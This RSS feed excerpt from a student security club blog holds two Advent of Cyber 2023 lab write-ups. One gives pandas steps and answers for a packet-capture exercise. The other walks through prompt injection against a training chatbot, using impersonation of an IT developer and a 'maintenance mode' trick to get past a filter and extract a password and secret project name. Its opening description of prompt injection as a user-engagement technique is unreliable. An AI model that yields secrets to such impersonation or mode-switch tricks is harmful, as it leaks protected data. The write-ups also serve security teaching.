]]></content:encoded></item><item><title><![CDATA[Advent of Cyber 2023 Day-2]]></title><description><![CDATA[Day 2 involves the essence of data science: the use of Python, Pandas and MatPlotLib to extract information contained in a ".csv" file, and to learn how this helps in Cybersecurity.For the following tasks, we needed to access the VM and view it as a ...]]></description><link>https://blogs.copsiitbhu.co.in/advent-of-cyber-day-2</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/advent-of-cyber-day-2</guid><category><![CDATA[AdventOfCyber2023]]></category><category><![CDATA[IIT BHU]]></category><category><![CDATA[Data Science]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Om Abhishek]]></dc:creator><pubDate>Thu, 07 Dec 2023 10:49:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1701946367407/f9caf160-8d3d-4dea-8975-b70773c67bef.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Day 2 involves the essence of data science: the use of <strong>Python</strong>, <strong>Pandas</strong> and <strong>MatPlotLib</strong> to extract information contained in a ".csv" file, and to learn how this helps in Cybersecurity.<br />For the following tasks, we needed to access the VM and view it as a split-screen.<br />The need of a VM, you ask? Well, today's tasks require us to run some code snippets on Jupyter Notebook! Therefore it would be convenient if we run it on split-screen: one side for reading and completing the tasks and the other side for using Jupyter Notebook.</p>
<blockquote>
<p>For those who are not familiar with their usage, it is recommended to have a brief read about the pre-requisites for day 2.</p>
</blockquote>
<hr />
<p><strong>Task-1</strong>: Open the notebook "Workbook" located in the directory "4_Capstone" on the VM. Use what you have learned today to analyse the packet capture.</p>
<ul>
<li>Just click on "Submit" button</li>
</ul>
<blockquote>
<p>Make sure to run block 1 and 2 before proceeding.</p>
</blockquote>
<p><strong>Task-2</strong>: How many packets were captured (looking at the PacketNumber)?</p>
<ul>
<li><p>Enter the following code in block 3:</p>
<pre><code class="lang-plaintext">  df.count()
</code></pre>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701944035560/1590107b-3bee-47c5-ba26-672ebfefcf63.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>The following output will be obtained</p>
<p>The number alongside PacketNumber is the required answer, i.e., <strong>100</strong>.</p>
</blockquote>
<p><strong>Task-3</strong>: What IP address sent the most amount of traffic during the packet capture?</p>
<ul>
<li><p>Here we will be looking at source IPs and group them by size, in order to find the source IP used the maximum number of times. Run the following code in block 4:</p>
<pre><code class="lang-plaintext">  df.groupby(['Source']).size()
</code></pre>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701944531825/f866adf2-7e92-4f9f-896c-7d277505d27b.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>From the following output, identify the IP having the maximum value on the right column. Thus, our required answer is <strong><em>10.10.1.4.</em></strong></p>
</blockquote>
<p><strong>Task-4</strong>: What was the most frequent protocol?</p>
<ul>
<li><p>Here we will be using Pandas "value_counts", which returns number of unique occurences in the given column. Thus, required code will be:</p>
</li>
<li><pre><code class="lang-plaintext">    df.value_counts(['Protocol'])
</code></pre>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701944838838/222ad8bf-ffc3-45bc-b100-32ce0ee36285.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Clearly, ICMP has the most occurences among other protocols. Thus, required answer is <strong><em>ICMP</em></strong>.</p>
</blockquote>
<p>Additionally, you can check out their <a target="_blank" href="https://tryhackme.com/room/introtologanalysis">Intro to Log Analysis</a> Room.</p>
<p><strong><em>That's all, folks!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Advent Of Cyber 2023 Day-1]]></title><description><![CDATA[Prompt Injection
By carefully placing prompts during talks, Prompt Injection transforms chatbot engagements. To direct users toward desired behaviors or replies, this technique combines Artificial Intelligence (AI), Natural Language Processing (NLP),...]]></description><link>https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-1</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/advent-of-cyber-2023-day-1</guid><category><![CDATA[AdventOfCyber2023]]></category><category><![CDATA[IIT BHU]]></category><category><![CDATA[Machine Learning]]></category><dc:creator><![CDATA[Shivansh Bhatnagar]]></dc:creator><pubDate>Mon, 04 Dec 2023 12:45:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1701693581969/403b24b9-482c-488f-99e6-ceebe444357c.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-prompt-injection">Prompt Injection</h3>
<p>By carefully placing prompts during talks, Prompt Injection transforms chatbot engagements. To direct users toward desired behaviors or replies, this technique combines Artificial Intelligence (AI), Natural Language Processing (NLP), and Machine Learning (ML). Chatbots increase user engagement, expedite interactions, and guarantee more meaningful conversations by subtly encouraging users. This method demonstrates the potential of AI and NLP by enabling Chatbots to support users actively for more seamless and fulfilling interactions.</p>
<h3 id="heading-how-to-solve-the-problem">How to Solve the Problem:</h3>
<p>First of all start by connecting to Van Chatty, AntarctiCrafts' internal chatbot. Deploy the machine by clicking the "Start Machine" Button at the top-right of the task.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701675312302/be6c3c5b-3519-4eac-a677-1e036100f839.png" alt class="image--center mx-auto" /></p>
<p>After waiting for about three minutes or so, click on the following URL to access Van Chatty: The Chatbot <a target="_blank" href="https://lab_web_url.p.thmlabs.com/">https://LAB_WEB_URL.p.thmlabs.com/</a></p>
<h3 id="heading-1-getting-the-email-address-of-the-ceo-mcgreedy">1) Getting the email address of the CEO, McGreedy:</h3>
<p>As this is not such a critical piece of information for which the model was not trained, we can obtain it directly by asking the chatbot for it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701675695798/228ac68b-a9e9-49a8-b8e7-e7e9d1c0d430.png" alt class="image--center mx-auto" /></p>
<p>The chatbot was trained on vast datasets of human language, and the developers of AntarctiCrafts have not trained it correctly on corporate data. Therefore it leaks sensitive information when prompted</p>
<h3 id="heading-2-getting-the-password-of-the-server-room-door">2) Getting the Password of the Server Room Door:</h3>
<p>It looks like the developers have placed some security checks to protect more sensitive information, such as passwords.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701675967273/60035a10-c36e-4c7b-a8f8-24194312e381.png" alt class="image--center mx-auto" /></p>
<p>But as we can figure out the members of the IT through the chatbot itself and give it the assurance that we are the same person, it can leak out the password.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701676085371/664a7883-7a49-445b-a114-6fcd152466d8.png" alt class="image--center mx-auto" /></p>
<p>And on giving the prompt of Van Developer, voila, it spits out the password to the security door.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701676147852/f828692a-e4c2-4a5a-b1aa-42a6ce836343.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-3-getting-the-secret-projects-name">3) Getting the Secret Project's Name</h3>
<p>Seems like the developers have set up an AI-assisted security "Interceptor," which is continuously trained on malicious inputs, and the more people attack it, the smarter it becomes and the better it can detect malicious input. For example</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701676391973/5ec6a423-1f01-4a08-9327-c7727ce4a917.png" alt class="image--center mx-auto" /></p>
<p>But we can trick the interceptor and make it work in the maintenance mode so that the chatbot operates outside its standard procedure, bypassing the security checks. Then, we can ask for the name of McGreedy's Secret Project.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701676499215/ee3a409c-a35b-4ca6-9d4a-9891c8cb4e94.png" alt class="image--center mx-auto" /></p>
<p>In summary, Prompt Injection emerges as a potent technique leveraging AI, NLP, and ML to steer chatbot conversations effectively. It showcases the need for robust security measures and data handling to prevent information leaks. Highlighting vulnerabilities in the system's training, this method emphasizes the ongoing necessity for stringent security enhancements. Ultimately, Prompt Injection not only refines chatbot functionalities but also is a critical tool in fortifying security protocols, ensuring safer interactions within AI-driven systems.</p>
]]></content:encoded></item></channel></rss>